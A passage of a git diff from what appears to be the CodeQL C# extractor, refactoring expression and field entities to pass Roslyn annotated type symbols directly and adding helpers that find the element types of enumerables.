e91b81a3d77..d4d4c86c507 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Access.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Access.cs @@ -52,7 +52,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions if (implicitThis && !symbol.IsStatic) { - This.CreateImplicit(cx, Entities.Type.Create(cx, symbol.ContainingType), Location, this, -1); + This.CreateImplicit(cx, symbol.ContainingType, Location, this, -1); } } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ArrayCreation.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ArrayCreation.cs index d8d12229f62..ea818862d80 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ArrayCreation.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ArrayCreation.cs @@ -90,7 +90,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions { var info = new ExpressionInfo( cx, - new AnnotatedType(Entities.Type.Create(cx, type), NullableAnnotation.None), + AnnotatedTypeSymbol.CreateNotAnnotated(type), location, ExprKind.ARRAY_CREATION, parent, diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Cast.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Cast.cs index 8048d4da2cd..6f2551ec904 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Cast.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Cast.cs @@ -36,7 +36,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions { var info = new ExpressionInfo( cx, - new AnnotatedType(Entities.Type.Create(cx, type), Microsoft.CodeAnalysis.NullableAnnotation.None), + AnnotatedTypeSymbol.CreateNotAnnotated(type), location, ExprKind.CAST, parent, diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Discard.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Discard.cs index 194261c4614..ef35f901b92 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Discard.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Discard.cs @@ -12,7 +12,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions } private Discard(Context cx, CSharpSyntaxNode syntax, IExpressionParentEntity parent, int child) : - base(new ExpressionInfo(cx, Entities.Type.Create(cx, cx.GetType(syntax)), cx.Create(syntax.GetLocation()), ExprKind.DISCARD, parent, child, false, null)) + base(new ExpressionInfo(cx, cx.GetType(syntax), cx.Create(syntax.GetLocation()), ExprKind.DISCARD, parent, child, false, null)) { } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ImplicitCast.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ImplicitCast.cs index a9884a5df5d..eccead4a4de 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ImplicitCast.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ImplicitCast.cs @@ -12,13 +12,13 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions } public ImplicitCast(ExpressionNodeInfo info) - : base(new ExpressionInfo(info.Context, Entities.Type.Create(info.Context, info.ConvertedType), info.Location, ExprKind.CAST, info.Parent, info.Child, true, info.ExprValue)) + : base(new ExpressionInfo(info.Context, info.ConvertedType, info.Location, ExprKind.CAST, info.Parent, info.Child, true, info.ExprValue)) { Expr = Factory.Create(new ExpressionNodeInfo(cx, info.Node, this, 0)); } public ImplicitCast(ExpressionNodeInfo info, IMethodSymbol method) - : base(new ExpressionInfo(info.Context, Entities.Type.Create(info.Context, info.ConvertedType), info.Location, ExprKind.OPERATOR_INVOCATION, info.Parent, info.Child, true, info.ExprValue)) + : base(new ExpressionInfo(info.Context, info.ConvertedType, info.Location, ExprKind.OPERATOR_INVOCATION, info.Parent, info.Child, true, info.ExprValue)) { Expr = Factory.Create(info.SetParent(this, 0)); diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Initializer.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Initializer.cs index 7a7dd1b9170..d96a44527d8 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Initializer.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Initializer.cs @@ -14,7 +14,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions internal class ArrayInitializer : Expression<InitializerExpressionSyntax> { - private ArrayInitializer(ExpressionNodeInfo info) : base(info.SetType(NullType.Create(info.Context)).SetKind(ExprKind.ARRAY_INIT)) { } + private ArrayInitializer(ExpressionNodeInfo info) : base(info.SetType(null).SetKind(ExprKind.ARRAY_INIT)) { } public static Expression Create(ExpressionNodeInfo info) => new ArrayInitializer(info).TryPopulate(); @@ -40,7 +40,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions { var info = new ExpressionInfo( cx, - NullType.Create(cx), + null, location, ExprKind.ARRAY_INIT, parent, @@ -135,7 +135,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions { var collectionInfo = cx.GetModel(Syntax).GetCollectionInitializerSymbolInfo(i); var addMethod = Method.Create(cx, collectionInfo.Symbol as IMethodSymbol); - var voidType = Entities.Type.Create(cx, new AnnotatedTypeSymbol(cx.Compilation.GetSpecialType(SpecialType.System_Void), NullableAnnotation.None)); + var voidType = AnnotatedTypeSymbol.CreateNotAnnotated(cx.Compilation.GetSpecialType(SpecialType.System_Void)); var invocation = new Expression(new ExpressionInfo(cx, voidType, cx.Create(i.GetLocation()), ExprKind.METHOD_INVOCATION, this, child++, false, null)); diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Invocation.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Invocation.cs index 7a0e2fcc683..9efb5aec97f 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Invocation.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Invocation.cs @@ -55,7 +55,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions // Implicit `this` qualifier; add explicitly if (cx.GetModel(Syntax).GetEnclosingSymbol(Location.symbol.SourceSpan.Start) is IMethodSymbol callingMethod) - This.CreateImplicit(cx, Entities.Type.Create(cx, callingMethod.ContainingType), Location, this, child++); + This.CreateImplicit(cx, callingMethod.ContainingType, Location, this, child++); else cx.ModelError(Syntax, "Couldn't determine implicit this type"); } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Literal.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Literal.cs index d31a75b33d4..ad63cc26ac6 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Literal.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Literal.cs @@ -21,11 +21,11 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions case SyntaxKind.DefaultLiteralExpression: return ExprKind.DEFAULT; case SyntaxKind.NullLiteralExpression: - info.Type = Entities.NullType.Create(info.Context); // Don't use converted type. + info.SetType(null); // Don't use converted type. return ExprKind.NULL_LITERAL; } - var type = info.Type.Type.symbol; + var type = info.Type?.Symbol; return GetExprKind(type, info.Node, info.Context); } @@ -82,7 +82,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions { var info = new ExpressionInfo( cx, - new AnnotatedType(Entities.Type.Create(cx, type), NullableAnnotation.None), + AnnotatedTypeSymbol.CreateNotAnnotated(type), location, GetExprKind(type, null, cx), parent, @@ -97,7 +97,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions { var info = new ExpressionInfo( cx, - NullType.Create(cx), + null, location, ExprKind.NULL_LITERAL, parent, diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ObjectCreation/AnonymousObjectCreation.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ObjectCreation/AnonymousObjectCreation.cs index 718217bb720..5703c3101a2 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ObjectCreation/AnonymousObjectCreation.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ObjectCreation/AnonymousObjectCreation.cs @@ -35,7 +35,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions // Create an "assignment" var property = cx.GetModel(init).GetDeclaredSymbol(init); var propEntity = Property.Create(cx, property); - var type = Entities.Type.Create(cx, property.GetAnnotatedType()); + var type = property.GetAnnotatedType(); var loc = cx.Create(init.GetLocation()); var assignment = new Expression(new ExpressionInfo(cx, type, loc, ExprKind.SIMPLE_ASSIGN, objectInitializer, child++, false, null)); diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ObjectCreation/BaseObjectCreation.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ObjectCreation/BaseObjectCreation.cs index 82b9899598d..10f4df8bf7f 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ObjectCreation/BaseObjectCreation.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ObjectCreation/BaseObjectCreation.cs @@ -46,10 +46,10 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions switch (Syntax.Initializer.Kind()) { case SyntaxKind.CollectionInitializerExpression: - CollectionInitializer.Create(new ExpressionNodeInfo(cx, Syntax.Initializer, this, -1) { Type = Type }); + CollectionInitializer.Create(new ExpressionNodeInfo(cx, Syntax.Initializer, this, -1).SetType(Type)); break; case SyntaxKind.ObjectInitializerExpression: - ObjectInitializer.Create(new ExpressionNodeInfo(cx, Syntax.Initializer, this, -1) { Type = Type }); + ObjectInitializer.Create(new ExpressionNodeInfo(cx, Syntax.Initializer, this, -1).SetType(Type)); break; default: cx.ModelError("Unhandled initializer in object creation"); diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/Pattern.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/Pattern.cs index eef8f28b5fa..e51fb125b02 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/Pattern.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/Pattern.cs @@ -30,7 +30,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions { if (cx.GetModel(syntax).GetDeclaredSymbol(designation) is ILocalSymbol symbol) { - var type = Type.Create(cx, symbol.GetAnnotatedType()); + var type = symbol.GetAnnotatedType(); return VariableDeclaration.Create(cx, symbol, type, declPattern.Type, cx.Create(syntax.GetLocation()), false, parent, child); } if (designation is DiscardDesignationSyntax) @@ -53,7 +53,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions case SingleVariableDesignationSyntax varDesignation: if (cx.GetModel(syntax).GetDeclaredSymbol(varDesignation) is ILocalSymbol symbol) { - var type = Type.Create(cx, symbol.GetAnnotatedType()); + var type = symbol.GetAnnotatedType(); return VariableDeclaration.Create(cx, symbol, type, null, cx.Create(syntax.GetLocation()), true, parent, child); } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/PositionalPattern.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/PositionalPattern.cs index b65b9020743..0f3c2bf8800 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/PositionalPattern.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/PositionalPattern.cs @@ -7,7 +7,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions internal class PositionalPattern : Expression { internal PositionalPattern(Context cx, PositionalPatternClauseSyntax posPc, IExpressionParentEntity parent, int child) : - base(new ExpressionInfo(cx, Entities.NullType.Create(cx), cx.Create(posPc.GetLocation()), ExprKind.POSITIONAL_PATTERN, parent, child, false, null)) + base(new ExpressionInfo(cx, null, cx.Create(posPc.GetLocation()), ExprKind.POSITIONAL_PATTERN, parent, child, false, null)) { child = 0; foreach (var sub in posPc.Subpatterns) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/PropertyPattern.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/PropertyPattern.cs index 147ac595c77..ed947990045 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/PropertyPattern.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/PropertyPattern.cs @@ -7,7 +7,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions internal class PropertyPattern : Expression { internal PropertyPattern(Context cx, PropertyPatternClauseSyntax pp, IExpressionParentEntity parent, int child) : - base(new ExpressionInfo(cx, Entities.NullType.Create(cx), cx.Create(pp.GetLocation()), ExprKind.PROPERTY_PATTERN, parent, child, false, null)) + base(new ExpressionInfo(cx, null, cx.Create(pp.GetLocation()), ExprKind.PROPERTY_PATTERN, parent, child, false, null)) { child = 0; var trapFile = cx.TrapWriter.Writer; diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/RecursivePattern.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/RecursivePattern.cs index 997c622c818..f49859b8d32 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/RecursivePattern.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/RecursivePattern.cs @@ -17,7 +17,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions /// <param name="child">The child index of this pattern.</param> /// <param name="isTopLevel">If this pattern is in the top level of a case/is. In that case, the variable and type access are populated elsewhere.</param> public RecursivePattern(Context cx, RecursivePatternSyntax syntax, IExpressionParentEntity parent, int child) : - base(new ExpressionInfo(cx, Entities.NullType.Create(cx), cx.Create(syntax.GetLocation()), ExprKind.RECURSIVE_PATTERN, parent, child, false, null)) + base(new ExpressionInfo(cx, null, cx.Create(syntax.GetLocation()), ExprKind.RECURSIVE_PATTERN, parent, child, false, null)) { // Extract the type access if (syntax.Type is TypeSyntax t) @@ -26,7 +26,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions // Extract the local variable declaration if (syntax.Designation is VariableDesignationSyntax designation && cx.GetModel(syntax).GetDeclaredSymbol(designation) is ILocalSymbol symbol) { - var type = Entities.Type.Create(cx, symbol.GetAnnotatedType()); + var type = symbol.GetAnnotatedType(); VariableDeclaration.Create(cx, symbol, type, null, cx.Create(syntax.GetLocation()), false, this, 0); } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/UnaryPattern.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/UnaryPattern.cs index 14760e7331a..d80c390efff 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/UnaryPattern.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/UnaryPattern.cs @@ -7,7 +7,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions internal class UnaryPattern : Expression { public UnaryPattern(Context cx, UnaryPatternSyntax syntax, IExpressionParentEntity parent, int child) : - base(new ExpressionInfo(cx, NullType.Create(cx), cx.Create(syntax.GetLocation()), ExprKind.NOT_PATTERN, parent, child, false, null)) + base(new ExpressionInfo(cx, null, cx.Create(syntax.GetLocation()), ExprKind.NOT_PATTERN, parent, child, false, null)) { Pattern.Create(cx, syntax.Pattern, this, 0); } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Query.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Query.cs index 83c4a25d3a4..1db6c39fef2 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Query.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Query.cs @@ -22,7 +22,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions private class QueryCall : Expression { public QueryCall(Context cx, IMethodSymbol method, SyntaxNode clause, IExpressionParentEntity parent, int child) - : base(new ExpressionInfo(cx, method is null ? NullType.Create(cx) : Entities.Type.Create(cx, method.GetAnnotatedReturnType()), + : base(new ExpressionInfo(cx, method?.GetAnnotatedReturnType(), cx.Create(clause.GetLocation()), ExprKind.METHOD_INVOCATION, parent, child, false, null)) { @@ -63,21 +63,21 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions protected Expression DeclareRangeVariable(Context cx, IExpressionParentEntity parent, int child, bool getElement, ISymbol variableSymbol, SyntaxToken name) { - var type = Type.Create(cx, cx.GetType(Expr)); + var type = cx.GetType(Expr); - AnnotatedType declType; + AnnotatedTypeSymbol? declType; TypeSyntax declTypeSyntax = null; if (getElement) { if (node is FromClauseSyntax from && from.Type != null) { declTypeSyntax = from.Type; - declType = Type.Create(cx, cx.GetType(from.Type)); + declType = cx.GetType(from.Type); } else { declTypeSyntax = null; - declType = type.Type.ElementType; + declType = GetElementType(cx, type.Symbol); } } else @@ -104,6 +104,36 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions return decl; } + private static AnnotatedTypeSymbol? GetEnumerableType(Context cx, INamedTypeSymbol type) + { + return type.SpecialType == SpecialType.System_Collections_IEnumerable + ? cx.Compilation.ObjectType.WithAnnotation(NullableAnnotation.NotAnnotated) + : type.OriginalDefinition.SpecialType == SpecialType.System_Collections_Generic_IEnumerable_T + ? type.GetAnnotatedTypeArguments().First() + : (AnnotatedTypeSymbol?)null; + } + + private static AnnotatedTypeSymbol? GetEnumerableElementType(Context cx, INamedTypeSymbol type) + { + var et = GetEnumerableType(cx, type); + if (et != null) + return et; + + return type.AllInterfaces + .Where(i => i.OriginalDefinition.SpecialType == SpecialType.System_Collections_Generic_IEnumerable_T) + .Concat(type.AllInterfaces.Where(i => i.SpecialType == SpecialType.System_Collections_IEnumerable)) + .Select(i => GetEnumerableType(cx, i)) + .FirstOrDefault(); + } + + private static AnnotatedTypeSymbol? GetElementType(Context cx, ITypeSymbol symbol) => + symbol switch + { + IArrayTypeSymbol a => a.GetAnnotatedElementType(), + INamedTypeSymbol n => GetEnumerableElementType(cx, n), + _ => null + }; + protected void PopulateArguments(Context cx, QueryCall callExpr, int child) { foreach (var e in arguments) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Switch.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Switch.cs index 3585996c7db..5fdc08c66d3 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Switch.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Switch.cs @@ -29,7 +29,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions { internal SwitchCase(Context cx, SwitchExpressionArmSyntax arm, Switch parent, int child) : base(new ExpressionInfo( - cx, Entities.Type.Create(cx, cx.GetType(arm.Expression)), cx.Create(arm.GetLocation()), + cx, cx.GetType(arm.Expression), cx.Create(arm.GetLocation()), ExprKind.SWITCH_CASE, parent, child, false, null)) { Expressions.Pattern.Create(cx, arm.Pattern, this, 0); diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/This.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/This.cs index 838e494ff00..a13c2cb95bc 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/This.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/This.cs @@ -7,8 +7,8 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions { private This(IExpressionInfo info) : base(info) { } - public static This CreateImplicit(Context cx, Type @class, Extraction.Entities.Location loc, IExpressionParentEntity parent, int child) => - new This(new ExpressionInfo(cx, new AnnotatedType(@class, NullableAnnotation.None), loc, Kinds.ExprKind.THIS_ACCESS, parent, child, true, null)); + public static This CreateImplicit(Context cx, ITypeSymbol @class, Extraction.Entities.Location loc, IExpressionParentEntity parent, int child) => + new This(new ExpressionInfo(cx, AnnotatedTypeSymbol.CreateNotAnnotated(@class), loc, Kinds.ExprKind.THIS_ACCESS, parent, child, true, null)); public static This CreateExplicit(ExpressionNodeInfo info) => new This(info.SetKind(ExprKind.THIS_ACCESS)); } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/TypeAccess.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/TypeAccess.cs index 334ae764d26..e5c0fd3ac66 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/TypeAccess.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/TypeAccess.cs @@ -15,7 +15,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions { case SyntaxKind.SimpleMemberAccessExpression: var maes = (MemberAccessExpressionSyntax)Syntax; - if (Type.Type.ContainingType == null) + if (Type?.Symbol.ContainingType is null) { // namespace qualifier TypeMention.Create(cx, maes.Name, this, Type, Syntax.GetLocation()); @@ -39,7 +39,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions { var typeAccessInfo = new ExpressionInfo( cx, - new AnnotatedType(Entities.Type.Create(cx, type), Microsoft.CodeAnalysis.NullableAnnotation.None), + AnnotatedTypeSymbol.CreateNotAnnotated(type), location, ExprKind.TYPE_ACCESS, parent, diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/TypeOf.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/TypeOf.cs index e99b7d8b324..686e4156528 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/TypeOf.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/TypeOf.cs @@ -21,7 +21,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions { var info = new ExpressionInfo( cx, - new AnnotatedType(Entities.Type.Create(cx, type), Microsoft.CodeAnalysis.NullableAnnotation.None), + AnnotatedTypeSymbol.CreateNotAnnotated(type), location, ExprKind.TYPEOF, parent, diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/VariableDeclaration.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/VariableDeclaration.cs index 84b61956ae6..349236e893a 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/VariableDeclaration.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/VariableDeclaration.cs @@ -11,7 +11,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions { private VariableDeclaration(IExpressionInfo info) : base(info) { } - public static VariableDeclaration Create(Context cx, ISymbol symbol, AnnotatedType type, TypeSyntax optionalSyntax, Extraction.Entities.Location exprLocation, bool isVar, IExpressionParentEntity parent, int child) + public static VariableDeclaration Create(Context cx, ISymbol symbol, AnnotatedTypeSymbol? type, TypeSyntax optionalSyntax, Extraction.Entities.Location exprLocation, bool isVar, IExpressionParentEntity parent, int child) { var ret = new VariableDeclaration(new ExpressionInfo(cx, type, exprLocation, ExprKind.LOCAL_VAR_DECL, parent, child, false, null)); cx.Try(null, null, () => @@ -30,10 +30,10 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions if (variableSymbol == null) { cx.ModelError(node, "Failed to determine local variable"); - return Create(cx, node, NullType.Create(cx), parent, child); + return Create(cx, node, (AnnotatedTypeSymbol?)null, parent, child); } - var type = Entities.Type.Create(cx, variableSymbol.GetAnnotatedType()); + var type = variableSymbol.GetAnnotatedType(); var ret = Create(cx, designation, type, parent, child); cx.Try(null, null, () => { @@ -49,7 +49,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions /// </summary> public static Expression CreateParenthesized(Context cx, DeclarationExpressionSyntax node, ParenthesizedVariableDesignationSyntax designation, IExpressionParentEntity parent, int child) { - var type = Entities.NullType.Create(cx); // Should ideally be a corresponding tuple type + AnnotatedTypeSymbol? type = null; // Should ideally be a corresponding tuple type var tuple = new Expression(new ExpressionInfo(cx, type, cx.Create(node.GetLocation()), ExprKind.TUPLE, parent, child, false, null)); cx.Try(null, null, () => @@ -64,7 +64,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions public static Expression CreateParenthesized(Context cx, VarPatternSyntax varPattern, ParenthesizedVariableDesignationSyntax designation, IExpressionParentEntity parent, int child) { - var type = NullType.Create(cx); // Should ideally be a corresponding tuple type + AnnotatedTypeSymbol? type = null; // Should ideally be a corresponding tuple type var tuple = new Expression(new ExpressionInfo(cx, type, cx.Create(varPattern.GetLocation()), ExprKind.TUPLE, parent, child, false, null)); cx.Try(null, null, () => @@ -80,7 +80,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions case SingleVariableDesignationSyntax single: if (cx.GetModel(variable).GetDeclaredSymbol(single) is ILocalSymbol local) { - var decl = Create(cx, variable, Entities.Type.Create(cx, local.GetAnnotatedType()), tuple, child0++); + var decl = Create(cx, variable, local.GetAnnotatedType(), tuple, child0++); var l = LocalVariable.Create(cx, local); l.PopulateManual(decl, true); } @@ -111,25 +111,24 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions case ParenthesizedVariableDesignationSyntax paren: return CreateParenthesized(cx, node, paren, parent, child); case DiscardDesignationSyntax discard: - var ti = cx.GetType(discard); - var type = Entities.Type.Create(cx, ti); + var type = cx.GetType(discard); return Create(cx, node, type, parent, child); default: cx.ModelError(node, "Failed to determine designation type"); - return Create(cx, node, NullType.Create(cx), parent, child); + return Create(cx, node, null, parent, child); } } public static Expression Create(Context cx, DeclarationExpressionSyntax node, IExpressionParentEntity parent, int child) => Create(cx, node, node.Designation, parent, child); - public static VariableDeclaration Create(Context cx, CSharpSyntaxNode c, AnnotatedType type, IExpressionParentEntity parent, int child) => + public static VariableDeclaration Create(Context cx, CSharpSyntaxNode c, AnnotatedTypeSymbol? type, IExpressionParentEntity parent, int child) => new VariableDeclaration(new ExpressionInfo(cx, type, cx.Create(c.FixedLocation()), ExprKind.LOCAL_VAR_DECL, parent, child, false, null)); public static VariableDeclaration Create(Context cx, CatchDeclarationSyntax d, bool isVar, IExpressionParentEntity parent, int child) { var symbol = cx.GetModel(d).GetDeclaredSymbol(d); - var type = Entities.Type.Create(cx, symbol.GetAnnotatedType()); + var type = symbol.GetAnnotatedType(); var ret = Create(cx, d, type, parent, child); cx.Try(d, null, () => { @@ -141,7 +140,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions return ret; } - public static VariableDeclaration CreateDeclarator(Context cx, VariableDeclaratorSyntax d, AnnotatedType type, bool isVar, IExpressionParentEntity parent, int child) + public static VariableDeclaration CreateDeclarator(Context cx, VariableDeclaratorSyntax d, AnnotatedTypeSymbol type, bool isVar, IExpressionParentEntity parent, int child) { var ret = Create(cx, d, type, parent, child); cx.Try(d, null, () => @@ -170,7 +169,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions { public static void Populate(Context cx, VariableDeclarationSyntax decl, IExpressionParentEntity parent, int child, int childIncrement = 1) { - var type = Type.Create(cx, cx.GetType(decl.Type)); + var type = cx.GetType(decl.Type); foreach (var v in decl.Variables) { diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Field.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Field.cs index 2990332648d..aadd9d2fbab 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Field.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Field.cs @@ -14,7 +14,7 @@ namespace Semmle.Extraction.CSharp.Entities private Field(Context cx, IFieldSymbol init) : base(cx, init) { - type = new Lazy<AnnotatedType>(() => Entities.Type.Create(cx, symbol.GetAnnotatedType())); + type = new Lazy<Type>(() => Entities.Type.Create(cx, symbol.Type)); } public static Field Create(Context cx, IFieldSymbol field) => FieldFactory.Instance.CreateEntityFromSymbol(cx, field); @@ -32,7 +32,7 @@ namespace Semmle.Extraction.CSharp.Entities PopulateNullability(trapFile, symbol.GetAnnotatedType()); var unboundFieldKey = Field.Create(Context, symbol.OriginalDefinition); - trapFile.fields(this, (symbol.IsConst ? 2 : 1), symbol.Name, ContainingType, Type.Type.TypeRef, unboundFieldKey); + trapFile.fields(this, (symbol.IsConst ? 2 : 1), symbol.Name, ContainingType, Type.TypeRef, unboundFieldKey); PopulateModifiers(trapFile); @@ -71,7 +71,7 @@ namespace Semmle.Extraction.CSharp.Entities if (!symbol.IsStatic) { - This.CreateImplicit(Context, Entities.Type.Create(Context, symbol.ContainingType), Location, fieldAccess, -1); + This.CreateImplicit(Context, symbol.ContainingType, Location, fieldAccess, -1); } }); } @@ -107,19 +107,20 @@ namespace Semmle.Extraction.CSharp.Entities private Expression AddInitializerAssignment(TextWriter trapFile, ExpressionSyntax initializer, Extraction.Entities.Location loc, string constValue, ref int child) { - var simpleAssignExpr = new Expression(new ExpressionInfo(Context, Type, loc, ExprKind.SIMPLE_ASSIGN, this, child++, false, constValue)); + var type = symbol.GetAnnotatedType(); + var simpleAssignExpr = new Expression(new ExpressionInfo(Context, type, loc, ExprKind.SIMPLE_ASSIGN, this, child++, false, constValue)); Expression.CreateFromNode(new ExpressionNodeInfo(Context, initializer, simpleAssignExpr, 0)); - var access = new Expression(new ExpressionInfo(Context, Type, Location, ExprKind.FIELD_ACCESS, simpleAssignExpr, 1, false, constValue)); + var access = new Expression(new ExpressionInfo(Context, type, Location, ExprKind.FIELD_ACCESS, simpleAssignExpr, 1, false, constValue)); trapFile.expr_access(access, this); return access; } - private readonly Lazy<AnnotatedType> type; - public AnnotatedType Type => type.Value; + private readonly Lazy<Type> type; + public Type Type => type.Value; public override void WriteId(TextWriter trapFile) { - 